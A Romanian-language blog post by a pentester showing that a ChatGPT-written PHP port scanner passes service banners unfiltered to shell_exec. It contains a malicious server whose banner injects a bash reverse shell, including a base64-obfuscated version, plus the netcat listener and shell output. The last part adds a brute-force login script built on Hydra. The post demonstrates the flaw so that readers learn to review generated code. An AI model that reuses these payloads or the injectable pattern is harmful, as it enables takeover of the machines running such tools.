Am cerut ChatGPT să creeze un instrument util de audit al securității. A făcut-o, dar cu o vulnerabilitate critică care i-a permis să preia computerul pentesterului

Am cerut ChatGPT să creeze un instrument util de audit al securității.  A făcut-o, dar cu o vulnerabilitate critică care i-a permis să preia computerul pentesterului

ChatGPT, un instrument atât de special încât se vorbește despre el peste tot. De asemenea, în contextul amenințărilor pe care le aduce pentru industriile potențiale (de exemplu programatorii), deoarece oamenii se tem pentru site-urile lor. Ei menționează și avantajele, adică accelerarea muncii mai multor grupuri de angajați, precum testerii de penetrare. Întrucât sunt unul dintre ei, am decis să verific ce poate oferi această creativitate în secolul XXI.

Așa că am creat următorul prompt (o instrucțiune pentru bot, pe baza căreia va genera scriptul potrivit pentru mine):

Bună, dragă chat GPT, vă rugăm să jucați rolul unui expert în securitate IT și să scrieți un articol despre utilizarea tehnologiei, cum ar fi chat-ul GPT, pentru a crea instrumente utile în munca de testare a penetrației. Instrumentul pe care îl veți descrie este un scanner de porturi cu funcția de detectare a bannerelor serviciilor de identificare CVE pentru acesta.

Botul s-a gândit un moment și a răspuns după cum urmează:

Desigur, vă prezint mai jos un articol despre utilizarea chat-urilor GPT ca suport pentru crearea scanerelor de porturi, inclusiv detectarea steagurilor și găsirea CVE-urilor versiunilor de servicii găsite.
Sistemele de testare de securitate necesită utilizarea diferitelor instrumente, inclusiv un scanner de porturi. O modalitate de a crește eficiența testării este utilizarea tehnologiilor AI avansate, cum ar fi chat-ul GPT, care poate fi un suport neprețuit pentru testerii de penetrare.
Chat-ul GPT poate fi folosit pentru a genera automat codul de script de testare, inclusiv scripturile de scanare a porturilor. Datorită utilizării acestei tehnologii, este posibil să se creeze scenarii de atac realiste și să se genereze automat scripturi pentru testarea securității.
Mai jos este un exemplu de cod PHP pentru scanarea portului, cu funcționalitate suplimentară pentru a detecta bannere și a căuta CVE-uri pentru versiunile de servicii găsite, generate de chat-ul GPT:
<?php
$host = 'example.com'; // adres IP lub nazwa domenowa
$ports = array(21, 22, 80, 443, 3306); // lista portów do przetestowania
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>

Detectarea bannerului poate ajuta testerii să identifice versiunile de software pe care le folosesc, permițându-le să verifice mai rapid dacă un anumit serviciu conține vulnerabilități de securitate cunoscute. Utilizarea instrumentelor de cercetare CVE pentru versiunile găsite poate permite testatorilor să găsească rapid informații despre potențialele vulnerabilități, permițând implementarea mai rapidă a protecției adecvate și prevenirea atacurilor.
Unul dintre instrumentele populare pentru găsirea de informații despre CVE este SearchSploit, care este un instrument disponibil în Kali Linux. În exemplul de mai sus, scriptul PHP folosește acest instrument pentru a căuta CVE-uri pentru bannerele pe care le găsește.
Un aspect important al testării de penetrare este, de asemenea, raportarea vulnerabilităților de securitate care sunt găsite. ChatGPT vă poate ajuta să generați automat rapoarte bazate pe rezultatele testelor, permițându-vă să raportați vulnerabilități și recomandări de securitate mai rapid și mai eficient.
În concluzie, utilizarea chatGPT ca suport pentru testerii de penetrare poate crește foarte mult eficacitatea testelor de securitate. Adăugarea de funcționalități precum detectarea bannerelor și căutarea versiunilor găsite poate ajuta testerii să identifice și să remedieze rapid potențialele vulnerabilități. Raportarea automată poate ajuta, de asemenea, la comunicarea vulnerabilităților și a recomandărilor de securitate mai rapid și mai eficient.

La prima vedere, ați putea crede că este o afacere grozavă. Urmând această cale, orice instrument necesar pentru a efectua teste individuale de penetrare poate fi creat foarte rapid folosind bot-ul menționat mai sus. Cu toate acestea, când te uiți la conținutul codului returnat la noi, poți vedea că există o problemă.

Graficele au fost create folosind: https://imgflip.com/memegenerator

Instrumentul creat cu ajutorul inteligenței artificiale, menit să faciliteze munca pentesterului, a devenit, drept urmare, un instrument care permite accesul de la distanță al unei persoane neautorizate la mașina de pe care va fi executat codul.

Deci, să analizăm codul de mai sus și să vedem ce se întâmplă.

$banner = fgets($connection, 4096);

Linia de cod responsabilă pentru descărcarea bannerelor de serviciu nu filtrează datele primite. În rândurile următoare puteți vedea că este atribuită unei variabile $banner Valoarea este inserată direct (încă fără filtre) în instrucțiunea responsabilă cu executarea comenzii de sistem pe computerul de laborator:

$cve = shell_exec("searchsploit --color $banner");

directii shell_exec Apelează o comandă din shell-ul sistemului (cum ar fi bash).

în cazul valorii variabilei $banner Obținut de la serverul testat în siguranță, scriptul va funcționa conform intenției și își va face treaba verificând vulnerabilitățile serviciului compilat folosind instrumentul searchsploit.

Pe scurt, un exemplu de banner de serviciu valid „Apache 2.0” ne va returna un rezultat (CVE) pentru o anumită versiune de server. Dar dacă serverul testat nu are astfel de date, dar are o sarcină serioasă?

Ca parte a scenariului de testare, am configurat un server în tehnologia mea preferată (PHP), care servește ambele variante (securizat și mai puțin PoC).

<?php
set_time_limit(0);
ob_implicit_flush();
 
$address = '127.0.0.1′;
$port = 10001;
 
if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo „Couldn’t create socket” .socket_strerror(socket_last_error()).”\n”;
}
 
if (socket_bind($socket, $address, $port) === false) {
    echo „Bind Error „.socket_strerror(socket_last_error($sock)) .”\n”;
}
 
if (socket_listen($socket, 5) === false) {
    echo „Listen Failed „.socket_strerror(socket_last_error($socket)) . „\n”;
}
 
do {
    if (($msgsock = socket_accept($socket)) === false) {
        echo „Error: socket_accept: ” . socket_strerror(socket_last_error($socket)) . „\n”;
        break;
    }
 
    /* Poprawna wiadomość */
    $msg = „Apache 2.0”;
    /* Atak na host skanującego */
    //$msg = „Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1”;
    socket_write($msgsock, $msg, strlen($msg));
 
    socket_close($msgsock);
} while (true);
 
socket_close($socket);
?>

Când rulați primul test și rulați serverul de mai sus pentru variabila de mai sus, vom obține informații despre logo-ul compilat (și în cazul meu, nici un searchsploit).

Codul instrumentului creat de Chat GPT (adresa IP și intervalul de porturi schimbate):

<?php
$host = '127.0.0.1'; // adres IP lub nazwa domenowa
$ports = array(2000,10001); // lista portów do przetestowania
 
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>

Rezultatul rulării scriptului:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0
sh: searchsploit: command not found
CVEs: 

În pasul următor, comentăm în codul serverului linia responsabilă pentru bannerul corect și lăsăm versiunea sa alternativă, mai puțin sigură, testerului:

/* Poprawna wiadomość */
//$msg = "Apache 2.0";
/* Atak na host skanującego */
$msg = "Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1";

Repornim serverul cu codul modificat și, între timp, în a doua fereastră de terminal, pornim serverul nc pentru a asculta conexiunea inversă shell de intrare descrisă în variabila $mesaj.

Exemplu de apelare a serverului nc pentru conexiuni de intrare (versiunea macOS):

nc -l 127.0.0.1 4242

Ultimul pas, reporniți scanerul:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
sh: searchsploit: command not found
CVEs: 

Atacul a reușit deoarece într-o fereastră de terminal cu nc-server rulează – a fost stabilită o conexiune la mașina persoanei care verifică serverul nostru:

nc -l 127.0.0.1 4242
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$ ls -la
total 16
drwxr-xr-x     4 rk  staff    128 22 kwi 21:39 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ echo hacked>own.txt
bash-3.2$ ls -la
total 24
drwxr-xr-x     5 rk  staff    160 22 kwi 22:30 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--     1 rk  staff      7 22 kwi 22:30 own.txt
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ cat own.txt  
hacked
bash-3.2$ 

Întregul atac este disponibil și în videoclipul de mai jos:

În timp ce scriam articolul, când l-am dat unui prieten să-l revizuiască, a menționat că atunci când cineva vede un banner pe ecran merită „bash -i> & /dev/tcp/127.0.0.1/4242 0> & 1‘, acest lucru va întrerupe imediat accesul la internet. Sarcina utilă pregătită este doar un exemplu, puteți oricând să modificați codul serverului pentru ca sarcina utilă să fie mai ofuscată:

$msg = "Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh";

Afișarea pe ecranul testerului atunci când încercați să scanați va fi după cum urmează:

php scan.php
Port 2000 is closed
Port 10002 is open
Banner: Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh
sh: searchsploit: command not found
CVEs: 

Există multe forme diferite de ofuscare a codului, de la formatul clasic hexazecimal până la criptare.

Pe scurt, noile tehnologii ne oferă noi oportunități, dar să le folosim cu prudență. Să nu lăsăm lenea să ne conducă la faptul că începem să avem încredere implicit în soluțiile care ni se oferă. În plus, să aplicăm principiul încrederii limitate, deoarece codul de mai sus este obținut de pe Internet (bot), așa că să-l tratăm ca orice alt cod de pe Internet – nu este al nostru, așa că haideți să-i verificăm conținutul.

Atacul de mai sus necesită mai mulți factori și condiții. Atacatorul trebuie să aibă un server special conceput care a fost ținta hackerului sau a verificatorului AI. Cu toate acestea, potențialul de cod periculos nu se limitează la acest tip de soluție. Ele sunt cunoscute în istorie cazuri Arhivele sau exploit-uri GitHub infectate, a căror țintă nu erau serviciile vulnerabile, ci computerul persoanei pe care au fost lansate.

În opinia mea – AI în forma sa actuală nu va elimina munca testerilor de securitate IT. Datorită tehnologiei descrise mai sus, munca nu poate fi decât mărită.

Atenţie!
important pentru cititor -Folosind un alt prompt, am cerut un chat GPT pentru un alt instrument și am subliniat vulnerabilitățile de securitate / am configurat un PoC (Proof of Concept).

pentru primele 5 persoanecare va indica furnizarea soluţiei corecte Premii – Soluția trebuie trimisă la adresa de e-mail: [email protected].

convocat:

Asumați-vă rolul unui expert în securitate IT și scrieți un exemplu de script în PHP care preia informații despre orice formular de conectare (al cărui ID nu îl cunoaștem) de la adresa URL indicată și apoi efectuează un atac de forță brută asupra utilizatorului „admin”. folosind Hidraulica

Răspuns:

În primul rând, trebuie să descarcăm conținutul site-ului și să găsim formularul de autentificare. Pentru aceasta putem folosi biblioteca cURL și analizatorul HTML precum DOMDocument. Apoi, odată ce găsim formularul de autentificare, putem forța utilizarea instrumentului Hydra asupra utilizatorului „admin”.
Iată un exemplu de cod PHP care îndeplinește această sarcină:
<?php
// Adres URL formularza logowania
$url = "https://example.com/login";
 
// Użytkownik i hasło, dla których wykonamy atak brute force
$username = "admin";
$wordlist = "/path/to/wordlist.txt";
 
// Pobierz zawartość strony
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
curl_close($ch);
 
// Utwórz obiekt DOMDocument i wczytaj HTML
$dom = new DOMDocument();
@$dom->loadHTML($html);
 
// Znajdź formularz logowania
$forms = $dom->getElementsByTagName("form");
foreach ($forms as $form) {
    if (strtolower($form->getAttribute("method")) === "post") {
        // Znaleźliśmy formularz logowania
 
        // Znajdź pola formularza
        $inputs = $form->getElementsByTagName("input");
        $post_data = array();
        foreach ($inputs as $input) {
            $name = $input->getAttribute("name");
            $value = $input->getAttribute("value");
            if (!empty($name)) {
                $post_data[$name] = $value;
            }
        }
 
        // Wykonaj atak brute force za pomocą Hydra
        $command = "hydra -L $username -P $wordlist $url";
        foreach ($post_data as $name => $value) {
            $command .= " \"$name=$value\"";
        }
        $output = shell_exec($command);
 
        // Wyświetl wynik ataku
        echo $output;
 
        // Przerwij pętlę, ponieważ znaleźliśmy formularz logowania
        break;
    }
}
?>

Trebuie remarcat faptul că acest simbol este doar pentru afișare și nu trebuie utilizat pentru activități ilegale. Atacurile cu forță brută sunt ilegale, iar efectuarea lor fără acordul proprietarului sistemului este pedepsită prin lege.

Robert Krusik, Hacking W Securitate

READ  NVIDIA GeForce RTX 3060 vs Microsoft Windows 11 urcă în topul sondajului lunar al Steam

Dius Fidus

"Fanatic pe tot parcursul vieții. Cititor devotat. Jucător. Antreprenor extrem."

Related Posts

Lasă un răspuns

Adresa ta de email nu va fi publicată. Câmpurile obligatorii sunt marcate cu *

Read also x